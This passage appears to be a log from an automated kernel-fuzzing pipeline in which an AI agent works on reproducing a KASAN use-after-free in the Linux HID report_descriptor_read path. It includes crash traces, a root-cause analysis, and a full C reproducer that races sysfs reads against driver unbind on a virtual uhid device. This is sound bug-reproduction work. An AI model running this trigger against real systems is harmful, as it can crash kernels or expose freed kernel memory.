ffff888037dd9c00: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
ffff888037dd9c80: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
==================================================================
Reproduced: false
Console Output: Warning: Permanently added '[localhost]:14506' (ED25519) to the list of known hosts.
[*] Probing for /dev/uhid...
[+] /dev/uhid opened successfully.
[*] Creating virtual HID device...
[+] Virtual HID device created.
[*] Waiting for device to appear in sysfs...
[+] Device found: 0003:046D:C293.0001
[*] Checking for hid-logitech driver...
[+] hid-logitech driver is available.
[*] Checking for report_descriptor file...
[ 71.396601][ T797] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[+] report_descriptor file opened successfully.
[*] Cleaning up...
[+] Probe successful.
[ 76.519089][ T1380] ieee802154 phy0 wpan0: encryption failed: -22
[ 76.521550][ T1380] ieee802154 phy1 wpan1: encryption failed: -22
Strace Output: /strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor578967218
<...>
Warning: Permanently added '[localhost]:43664' (ED25519) to the list of known hosts.
execve("/syz-executor578967218", ["/syz-executor578967218"], 0x7fff945b8f30 /* 11 vars */) = 0
brk(NULL) = 0x555562898000
brk(0x555562898d80) = 0x555562898d80
arch_prctl(ARCH_SET_FS, 0x555562898400) = 0
set_tid_address(0x5555628986d0) = 5879
set_robust_list(0x5555628986e0, 24) = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor578967218", 4096) = 22
getrandom("\xac\x68\x2e\x89\xf6\x90\x85\xad", 8, GRND_NONBLOCK) = 8
brk(NULL) = 0x555562898d80
brk(0x5555628b9d80) = 0x5555628b9d80
brk(0x5555628ba000) = 0x5555628ba000
mprotect(0x7f8c36370000, 20480, PROT_READ) = 0
write(1, "[*] Probing for /dev/uhid...", 28) = 28
write(1, "\n", 1) = 1
[*] Probing for /dev/uhid...
openat(AT_FDCWD, "/dev/uhid", O_RDWR) = 3
write(1, "[+] /dev/uhid opened successfully.", 34) = 34
write(1, "\n", 1) = 1
[+] /dev/uhid opened successfully.
write(1, "[*] Creating virtual HID device...", 34) = 34
[*] Creating virtual HID device...
write(1, "\n", 1) = 1
[ 71.665290][ T5695] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
write(3, "\x0b\x00\x00\x00\x74\x65\x73\x74\x2d\x75\x68\x69\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"..., 4380) = 4380
write(1, "[+] Virtual HID device created.", 31) = 31
write(1, "\n", 1) = 1
write(1, "[*] Waiting for device to appear in sysfs...", 44) = 44
[+] Virtual HID device created.
write(1, "\n", 1) = 1
openat(AT_FDCWD, "/sys/bus/hid/devices", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 4
[*] Waiting for device to appear in sysfs...
fstat(4, {st_mode=S_IFDIR|0755, st_size=0, ...}) = 0
getdents64(4, 0x555562899790 /* 3 entries */, 32768) = 88
close(4) = 0
write(1, "[+] Device found: 0003:046D:C293.0001\n", 38) = 38
write(1, "[*] Checking for hid-logitech driver...", 39) = 39
[+] Device found: 0003:046D:C293.0001
write(1, "\n", 1) = 1
[*] Checking for hid-logitech driver...
openat(AT_FDCWD, "/sys/bus/hid/drivers/logitech/bind", O_WRONLY) = 4
close(4) = 0
write(1, "[+] hid-logitech driver is available.", 37) = 37
write(1, "\n", 1) = 1
write(1, "[*] Checking for report_descriptor file...", 42) = 42
write(1, "\n", 1) = 1
[+] hid-logitech driver is available.
[*] Checking for report_descriptor file...
openat(AT_FDCWD, "/sys/bus/hid/devices/0003:046D:C293.0001/report_descriptor", O_RDONLY) = 4
close(4) = 0
write(1, "[+] report_descriptor file opened successfully.", 47) = 47
write(1, "\n", 1) = 1
write(1, "[*] Cleaning up...", 18) = 18
write(1, "\n", 1) = 1
[+] report_descriptor file opened successfully.
[*] Cleaning up...
write(3, "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"..., 4380) = 4380
close(3) = 0
write(1, "[+] Probe successful.", 21) = 21
write(1, "\n", 1) = 1
exit_group(0) = ?
[+] Probe successful.
+++ exited with 0 +++
[ 76.491539][ T1379] ieee802154 phy0 wpan0: encryption failed: -22
[ 76.494060][ T1379] ieee802154 phy1 wpan1: encryption failed: -22
Crash Report:
|
| 101/4 |
2026/05/19 10:10 |
llm |
repro-oracle |
0m
Model:
Tokens:
input: 10335
output: 77
thoughts: 967
Thoughts: **KASAN Slab-Use-After-Free Analysis: Probe Success**
Okay, here's what I've got. I'm looking at a KASAN slab-use-after-free in `report_descriptor_read`. The crash happens when reading a size 36 bytes at a specific address, with the call trace pointing to `report_descriptor_read`. This object was allocated during the HID device probe sequence, specifically within `hid_open_report` and related functions in `hid-core.c` and the `lg_probe` in `hid-lg.c`. The free trace is a bit messy - it just shows `__free_frozen_pages`, which indicates page deallocation but not the specific slab object free, likely because it was freed without a stack trace or the trace got overwritten.
Crucially, the probe was successful, according to the console output and the strace. It shows the device was found and that even the probe with the `logitech` driver (which subsequently failed) *succeeded*. The instructions are clear: if the probe succeeded, then I need to set `Reproduced: false` and provide some feedback. Since there's no crash report and the title doesn't match the crash, I'll also set `TitleMatches: false`.
So, the action here is to call `set-results` with `Reproduced: false` and `TitleMatches: false`, and then provide feedback indicating that the environment is ready for the agent to move on to generating the full reproducer in the next iteration. I've got all the pieces, time to assemble the response.
|
| 102/4 |
2026/05/19 10:10 |
tool |
set-results |
0m
Args: map[Feedback:The probe execution was successful. All required devices, drivers, and sysfs files (/dev/uhid, hid-logitech driver, and report_descriptor file) are available and accessible. The environment is ready. Please proceed to generate the full reproducer in the next iteration. TitleMatches:false]
Results: map[Feedback:The probe execution was successful. All required devices, drivers, and sysfs files (/dev/uhid, hid-logitech driver, and report_descriptor file) are available and accessible. The environment is ready. Please proceed to generate the full reproducer in the next iteration. TitleMatches:false]
|
| 103/3 |
2026/05/19 10:10 |
action |
loop-controller |
0m
Results: map[ContinueSignal:continue OracleFeedback:The probe execution was successful. All required devices, drivers, and sysfs files (/dev/uhid, hid-logitech driver, and report_descriptor file) are available and accessible. The environment is ready. Please proceed to generate the full reproducer in the next iteration. ReproC: Reproduced:false ReproducedBugTitle: ReproducedCrashReport:]
|
| 104/2 |
2026/05/19 10:10 |
iteration |
1 |
4m
|
| 105/3 |
2026/05/19 10:10 |
action |
If |
0m
Args: map[OracleFeedback:The probe execution was successful. All required devices, drivers, and sysfs files (/dev/uhid, hid-logitech driver, and report_descriptor file) are available and accessible. The environment is ready. Please proceed to generate the full reproducer in the next iteration.]
|
| 106/4 |
2026/05/19 10:10 |
agent |
strategy-refiner |
0m
Model:
Instruction: You are an expert in Linux kernel debugging.
Refine the reproduction strategy based on feedback from previous attempts.
Keep your reasoning short and focus on the next actionable change to the reproducer.
Do NOT repeat searches for the same symbols or files. Use the information you have already gathered.
If you are stuck, try a different approach or proceed to generate a candidate reproducer.
Prefer calling several tools at the same time to save round-trips.
Prompt: Bug Description: KASAN: slab-use-after-free Read in report_descriptor_read
==================================================================
BUG: KASAN: slab-use-after-free in report_descriptor_read+0xb5/0x100 drivers/hid/hid-core.c:2265
Read of size 36 at addr ffff888037dd9b80 by task fido_id/24047
CPU: 0 UID: 0 PID: 24047 Comm: fido_id Tainted: G L syzkaller #0 PREEMPT(full)
Tainted: [L]=SOFTLOCKUP
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 04/18/2026
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
check_region_inline mm/kasan/generic.c:-1 [inline]
kasan_check_range+0x264/0x2c0 mm/kasan/generic.c:200
__asan_memcpy+0x29/0x70 mm/kasan/shadow.c:105
report_descriptor_read+0xb5/0x100 drivers/hid/hid-core.c:2265
kernfs_file_read_iter fs/kernfs/file.c:269 [inline]
kernfs_fop_read_iter+0x451/0x6b0 fs/kernfs/file.c:298
new_sync_read fs/read_write.c:493 [inline]
vfs_read+0x582/0xa70 fs/read_write.c:574
ksys_read+0x150/0x270 fs/read_write.c:717
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x15f/0xf80 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f1e05ca7407
Code: 48 89 fa 4c 89 df e8 38 aa 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
RSP: 002b:00007fff31799f60 EFLAGS: 00000202 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007f1e0644b880 RCX: 00007f1e05ca7407
RDX: 0000000000001000 RSI: 00007fff31799fb0 RDI: 0000000000000004
RBP: 0000563577cf9730 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000202 R12: 0000563577cf8930
R13: 00007fff31799fb0 R14: 0000000000000004 R15: 00005635507dc4d8
</TASK>
Allocated by task 19335:
kasan_save_stack mm/kasan/common.c:57 [inline]
kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
__kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
kasan_kmalloc include/linux/kasan.h:263 [inline]
__do_kmalloc_node mm/slub.c:5295 [inline]
__kmalloc_node_track_caller_noprof+0x4db/0x7b0 mm/slub.c:5407
kmemdup_noprof+0x2b/0x70 mm/util.c:138
kmemdup_noprof include/linux/fortify-string.h:763 [inline]
hid_open_report+0x1f7/0xf00 drivers/hid/hid-core.c:1376
hid_parse include/linux/hid.h:1206 [inline]
lg_probe+0x29c/0x8a0 drivers/hid/hid-lg.c:783
__hid_device_probe drivers/hid/hid-core.c:2822 [inline]
hid_device_probe+0x416/0x7a0 drivers/hid/hid-core.c:2859
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
driver_probe_device+0x4f/0x240 drivers/base/dd.c:901
__device_attach_driver+0x279/0x430 drivers/base/dd.c:1029
bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
__device_attach+0x2c5/0x450 drivers/base/dd.c:1101
device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1156
bus_probe_device+0x12a/0x220 drivers/base/bus.c:613
device_add+0x7e9/0xbb0 drivers/base/core.c:3706
hid_add_device+0x272/0x3e0 drivers/hid/hid-core.c:3003
usbhid_probe+0xbab/0x1080 drivers/hid/usbhid/hid-core.c:1449
usb_probe_interface+0x659/0xc70 drivers/usb/core/driver.c:396
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
driver_probe_device+0x4f/0x240 drivers/base/dd.c:901
__device_attach_driver+0x279/0x430 drivers/base/dd.c:1029
bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
__device_attach+0x2c5/0x450 drivers/base/dd.c:1101
device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1156
bus_probe_device+0x12a/0x220 drivers/base/bus.c:613
device_add+0x7e9/0xbb0 drivers/base/core.c:3706
usb_set_configuration+0x1a87/0x2110 drivers/usb/core/message.c:2268
usb_generic_driver_probe+0x8d/0x150 drivers/usb/core/generic.c:250
usb_probe_device+0x1c4/0x3b0 drivers/usb/core/driver.c:291
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
driver_probe_device+0x4f/0x240 drivers/base/dd.c:901
__device_attach_driver+0x279/0x430 drivers/base/dd.c:1029
bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
__device_attach+0x2c5/0x450 drivers/base/dd.c:1101
device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1156
bus_probe_device+0x12a/0x220 drivers/base/bus.c:613
device_add+0x7e9/0xbb0 drivers/base/core.c:3706
usb_new_device+0xa08/0x16f0 drivers/usb/core/hub.c:2695
hub_port_connect drivers/usb/core/hub.c:5567 [inline]
hub_port_connect_change drivers/usb/core/hub.c:5707 [inline]
port_event drivers/usb/core/hub.c:5871 [inline]
hub_event+0x2a1c/0x4f30 drivers/usb/core/hub.c:5953
process_one_work kernel/workqueue.c:3314 [inline]
process_scheduled_works+0xb5d/0x1860 kernel/workqueue.c:3397
worker_thread+0xa53/0xfc0 kernel/workqueue.c:3478
kthread+0x389/0x470 kernel/kthread.c:436
ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
The buggy address belongs to the object at ffff888037dd9b80
which belongs to the cache kmalloc-64 of size 64
The buggy address is located 0 bytes inside of
freed 64-byte region [ffff888037dd9b80, ffff888037dd9bc0)
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x37dd9
flags: 0xfff00000000000(node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000000 ffff88813fe1a8c0 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800200020 00000000f5000000 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 0, migratetype Unmovable, gfp_mask 0xd2cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 13665, tgid 13665 (kworker/1:7), ts 1105362433588, free_ts 1105289461309
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x231/0x280 mm/page_alloc.c:1858
prep_new_page mm/page_alloc.c:1866 [inline]
get_page_from_freelist+0x24ba/0x2540 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5226
alloc_slab_page mm/slub.c:3278 [inline]
allocate_slab+0x77/0x660 mm/slub.c:3467
new_slab mm/slub.c:3525 [inline]
refill_objects+0x339/0x3d0 mm/slub.c:7271
refill_sheaf mm/slub.c:2816 [inline]
__pcs_replace_empty_main+0x321/0x720 mm/slub.c:4651
alloc_from_pcs mm/slub.c:4749 [inline]
slab_alloc_node mm/slub.c:4883 [inline]
__kmalloc_cache_noprof+0x392/0x660 mm/slub.c:5414
kmalloc_noprof include/linux/slab.h:950 [inline]
kzalloc_noprof include/linux/slab.h:1188 [inline]
ath6kl_usb_alloc_pipe_resources drivers/net/wireless/ath/ath6kl/usb.c:193 [inline]
ath6kl_usb_setup_pipe_resources drivers/net/wireless/ath/ath6kl/usb.c:406 [inline]
ath6kl_usb_create drivers/net/wireless/ath/ath6kl/usb.c:670 [inline]
ath6kl_usb_probe+0xdba/0x15a0 drivers/net/wireless/ath/ath6kl/usb.c:1143
usb_probe_interface+0x659/0xc70 drivers/usb/core/driver.c:396
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
driver_probe_device+0x4f/0x240 drivers/base/dd.c:901
__device_attach_driver+0x279/0x430 drivers/base/dd.c:1029
bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
__device_attach+0x2c5/0x450 drivers/base/dd.c:1101
device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1156
page last free pid 23 tgid 23 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1402 [inline]
__free_frozen_pages+0xbc7/0xd30 mm/page_alloc.c:2943
__tlb_remove_table_free mm/mmu_gather.c:228 [inline]
tlb_remove_table_rcu+0x85/0x100 mm/mmu_gather.c:291
rcu_do_batch kernel/rcu/tree.c:2617 [inline]
rcu_core+0x7cd/0x1070 kernel/rcu/tree.c:2869
handle_softirqs+0x22a/0x840 kernel/softirq.c:622
run_ksoftirqd+0x36/0x60 kernel/softirq.c:1076
smpboot_thread_fn+0x541/0xa50 kernel/smpboot.c:160
kthread+0x389/0x470 kernel/kthread.c:436
ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
Memory state around the buggy address:
ffff888037dd9a80: 00 00 00 00 04 fc fc fc fc fc fc fc fc fc fc fc
ffff888037dd9b00: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
>ffff888037dd9b80: fb fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
^
ffff888037dd9c00: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
ffff888037dd9c80: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
==================================================================
Current Strategy: An analysis of the bug report reveals a Use-After-Free (UAF) read in `report_descriptor_read()`.
### Root Cause Analysis
The `report_descriptor_read()` function handles reads to the `report_descriptor` sysfs attribute of a HID device. It accesses `hdev->rsize` and `hdev->rdesc` to copy the report descriptor to a kernel buffer, but it does so **without holding any locks**.
When a HID driver is unbound from a device, `hid_device_remove()` is called, which in turn calls `hid_close_report()`. If the driver had a `report_fixup` callback (like `hid-lg` does), `hdev->rdesc` was dynamically allocated via `kmemdup()` during probe. `hid_close_report()` frees this `hdev->rdesc` and sets `hdev->rsize = 0`.
Because the sysfs attribute belongs to the device (not the driver), the `report_descriptor` file remains accessible even while the driver is being unbound. If a userspace thread reads the sysfs file concurrently with the driver unbind operation, `report_descriptor_read()` can read a non-zero `hdev->rsize`, get preempted while `hid_close_report()` frees `hdev->rdesc`, and then resume to call `memcpy()` on the freed memory.
### Reproduction Strategy
We can reliably reproduce this race condition using the `uhid` framework and sysfs `bind`/`unbind` interfaces:
1. **Create a Virtual HID Device**: Use `/dev/uhid` to create a device with Vendor ID `0x046d` (Logitech) and Product ID `0xc293` (Wingman FFG). This specific ID binds to the `hid-lg` driver, which implements `report_fixup`, ensuring `hdev->rdesc` is dynamically allocated.
2. **Locate Sysfs Entries**: Find the device name in `/sys/bus/hid/devices/` (e.g., `0003:046D:C293.0001`) and open its `report_descriptor` file.
3. **Race Threads**:
- **Thread 1**: Continuously reads from the `report_descriptor` file using `pread()`.
- **Thread 2**: Continuously writes the device name to `/sys/bus/hid/drivers/logitech/unbind` and `/sys/bus/hid/drivers/logitech/bind`.
4. **Pinning**: Pin the threads to different CPU cores to maximize the chance of preemption and concurrent execution during the race window.
### Minimal C Reproducer
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <dirent.h>
#include <linux/uhid.h>
#include "race_toolkit.h"
int uhid_fd;
char dev_name[256];
volatile int stop = 0;
void create_uhid() {
uhid_fd = open("/dev/uhid", O_RDWR);
if (uhid_fd < 0) {
perror("open uhid");
exit(1);
}
struct uhid_event ev = {0};
ev.type = UHID_CREATE2;
strcpy((char*)ev.u.create2.name, "test-uhid");
ev.u.create2.rd_size = 85; // FFG_RDESC_ORIG_SIZE
ev.u.create2.bus = 3; // BUS_USB
ev.u.create2.vendor = 0x046d;
ev.u.create2.product = 0xc293;
if (write(uhid_fd, &ev, sizeof(ev)) < 0) {
perror("write uhid");
exit(1);
}
}
void find_dev_name() {
DIR *dir = opendir("/sys/bus/hid/devices");
if (!dir) return;
struct dirent *ent;
while ((ent = readdir(dir)) != NULL) {
if (strstr(ent->d_name, "0003:046D:C293")) {
strcpy(dev_name, ent->d_name);
break;
}
}
closedir(dir);
}
void* read_thread(void* arg) {
PIN_TO_CPU(0);
int fd = *(int*)arg;
char buf[256];
while (!stop) {
pread(fd, buf, sizeof(buf), 0);
}
return NULL;
}
void* bind_thread(void* arg) {
PIN_TO_CPU(1);
int bind_fd = ((int*)arg)[0];
int unbind_fd = ((int*)arg)[1];
int len = strlen(dev_name);
while (!stop) {
write(unbind_fd, dev_name, len);
write(bind_fd, dev_name, len);
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
create_uhid();
for (int i = 0; i < 50; i++) {
find_dev_name();
if (dev_name[0] != '\0') break;
usleep(100000);
}
if (dev_name[0] == '\0') {
fprintf(stderr, "Device not found. Is uhid enabled?\n");
return 1;
}
char path[512];
snprintf(path, sizeof(path), "/sys/bus/hid/devices/%s/report_descriptor", dev_name);
int fd = -1;
for (int i = 0; i < 50; i++) {
fd = open(path, O_RDONLY);
if (fd >= 0) break;
usleep(100000);
}
if (fd < 0) {
perror("open report_descriptor");
return 1;
}
int bind_fd = open("/sys/bus/hid/drivers/logitech/bind", O_WRONLY);
int unbind_fd = open("/sys/bus/hid/drivers/logitech/unbind", O_WRONLY);
if (bind_fd < 0 || unbind_fd < 0) {
perror("open bind/unbind (is hid-logitech loaded?)");
return 1;
}
int fds[2] = {bind_fd, unbind_fd};
pthread_t t1, t2;
pthread_create(&t1, NULL, read_thread, &fd);
pthread_create(&t2, NULL, bind_thread, fds);
sleep(5); // Allow time for the race to trigger KASAN
stop = 1;
pthread_join(t1, NULL);
pthread_join(t2, NULL);
close(fd);
close(bind_fd);
close(unbind_fd);
struct uhid_event ev = {0};
ev.type = UHID_DESTROY;
write(uhid_fd, &ev, sizeof(ev));
close(uhid_fd);
return 0;
}
```
Feedback: The probe execution was successful. All required devices, drivers, and sysfs files (/dev/uhid, hid-logitech driver, and report_descriptor file) are available and accessible. The environment is ready. Please proceed to generate the full reproducer in the next iteration.
Reply: An analysis of the bug report reveals a Use-After-Free (UAF) read in `report_descriptor_read()`.
### Root Cause Analysis
The `report_descriptor_read()` function handles reads to the `report_descriptor` sysfs attribute of a HID device. It accesses `hdev->rsize` and `hdev->rdesc` to copy the report descriptor to a kernel buffer, but it does so **without holding any locks**.
When a HID driver is unbound from a device, `hid_device_remove()` is called, which in turn calls `hid_close_report()`. If the driver had a `report_fixup` callback (like `hid-lg` does), `hdev->rdesc` was dynamically allocated via `kmemdup()` during probe. `hid_close_report()` frees this `hdev->rdesc` and sets `hdev->rsize = 0`.
Because the sysfs attribute belongs to the device (not the driver), the `report_descriptor` file remains accessible even while the driver is being unbound. If a userspace thread reads the sysfs file concurrently with the driver unbind operation, `report_descriptor_read()` can read a non-zero `hdev->rsize`, get preempted while `hid_close_report()` frees `hdev->rdesc`, and then resume to call `memcpy()` on the freed memory.
### Reproduction Strategy
We can reliably reproduce this race condition using the `uhid` framework and sysfs `bind`/`unbind` interfaces:
1. **Create a Virtual HID Device**: Use `/dev/uhid` to create a device with Vendor ID `0x046d` (Logitech) and Product ID `0xc293` (Wingman FFG). This specific ID binds to the `hid-lg` driver, which implements `report_fixup`, ensuring `hdev->rdesc` is dynamically allocated.
2. **Locate Sysfs Entries**: Find the device name in `/sys/bus/hid/devices/` (e.g., `0003:046D:C293.0001`) and open its `report_descriptor` file.
3. **Race Threads**:
- **Thread 1**: Continuously reads from the `report_descriptor` file using `pread()`.
- **Thread 2**: Continuously writes the device name to `/sys/bus/hid/drivers/logitech/unbind` and `/sys/bus/hid/drivers/logitech/bind`.
4. **Pinning**: Pin the threads to different CPU cores to maximize the chance of preemption and concurrent execution during the race window.
### C Reproducer
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <dirent.h>
#include <linux/uhid.h>
#include "race_toolkit.h"
int uhid_fd;
char dev_name[256];
volatile int stop = 0;
void create_uhid() {
uhid_fd = open("/dev/uhid", O_RDWR);
if (uhid_fd < 0) {
perror("open uhid");
exit(1);
}
struct uhid_event ev = {0};
ev.type = UHID_CREATE2;
strcpy((char*)ev.u.create2.name, "test-uhid");
ev.u.create2.rd_size = 85; // FFG_RDESC_ORIG_SIZE
ev.u.create2.bus = 3; // BUS_USB
ev.u.create2.vendor = 0x046d;
ev.u.create2.product = 0xc293;
if (write(uhid_fd, &ev, sizeof(ev)) < 0) {
perror("write uhid");
exit(1);
}
}
void find_dev_name() {
DIR *dir = opendir("/sys/bus/hid/devices");
if (!dir) return;
struct dirent *ent;
while ((ent = readdir(dir)) != NULL) {
if (strstr(ent->d_name, "0003:046D:C293")) {
strcpy(dev_name, ent->d_name);
break;
}
}
closedir(dir);
}
void* read_thread(void* arg) {
PIN_TO_CPU(0);
int fd = *(int*)arg;
char buf[256];
while (!stop) {
pread(fd, buf, sizeof(buf), 0);
}
return NULL;
}
void* bind_thread(void* arg) {
PIN_TO_CPU(1);
int bind_fd = ((int*)arg)[0];
int unbind_fd = ((int*)arg)[1];
int len = strlen(dev_name);
while (!stop) {
write(unbind_fd, dev_name, len);
write(bind_fd, dev_name, len);
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
create_uhid();
for (int i = 0; i < 50; i++) {
find_dev_name();
if (dev_name[0] != '\0') break;
usleep(100000);
}
if (dev_name[0] == '\0') {
fprintf(stderr, "Device not found. Is uhid enabled?\n");
return 1;
}
char path[512];
snprintf(path, sizeof(path), "/sys/bus/hid/devices/%s/report_descriptor", dev_name);
int fd = -1;
for (int i = 0; i < 50; i++) {
fd = open(path, O_RDONLY);
if (fd >= 0) break;
usleep(100000);
}
if (fd < 0) {
perror("open report_descriptor");
return 1;
}
int bind_fd = open("/sys/bus/hid/drivers/logitech/bind", O_WRONLY);
int unbind_fd = open("/sys/bus/hid/drivers/logitech/unbind", O_WRONLY);
if (bind_fd < 0 || unbind_fd < 0) {
perror("open bind/unbind (is hid-logitech loaded?)");
return 1;
}
int fds[2] = {bind_fd, unbind_fd};
pthread_t t1, t2;
pthread_create(&t1, NULL, read_thread, &fd);
pthread_create(&t2, NULL, bind_thread, fds);
sleep(5); // Allow time for the race to trigger KASAN
stop = 1;
pthread_join(t1, NULL);
pthread_join(t2, NULL);
close(fd);
close(bind_fd);
close(unbind_fd);
struct uhid_event ev = {0};
ev.type = UHID_DESTROY;
write(uhid_fd, &ev, sizeof(ev));
close(uhid_fd);
return 0;
}
```
|
| 107/5 |
2026/05/19 10:10 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 9123
output: 16
thoughts: 237
Thoughts: **Finalizing the KASAN Slab-Use-After-Free Reproducer**
Okay, so the probe was successful – that's excellent. The environment has everything I need: the uhid device, the Logitech HID driver, and the crucial `report_descriptor` sysfs file. Now it's time to build the full C reproducer for that nasty KASAN slab-use-after-free bug in `report_descriptor_read`. That race condition between reading the sysfs file and the HID driver unbinding is still in my mind.
I have a minimal C reproducer, which is a solid starting point. However, I need to make sure this is entirely self-contained. Since I'm not guaranteed to have `race_toolkit.h` available in the environment, I'll need to either expand the macros directly into the code. Wait, the user provided it in the minimal C reproducer, so that solves that.
So, I will expand the macros directly in the C code, so that is taken care of. Now I will make the other necessary adjustments to produce the final reproducer.
|
| 108/5 |
2026/05/19 10:10 |
tool |
get-toolkit |
0m
Args:
Results: map[Toolkit:// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
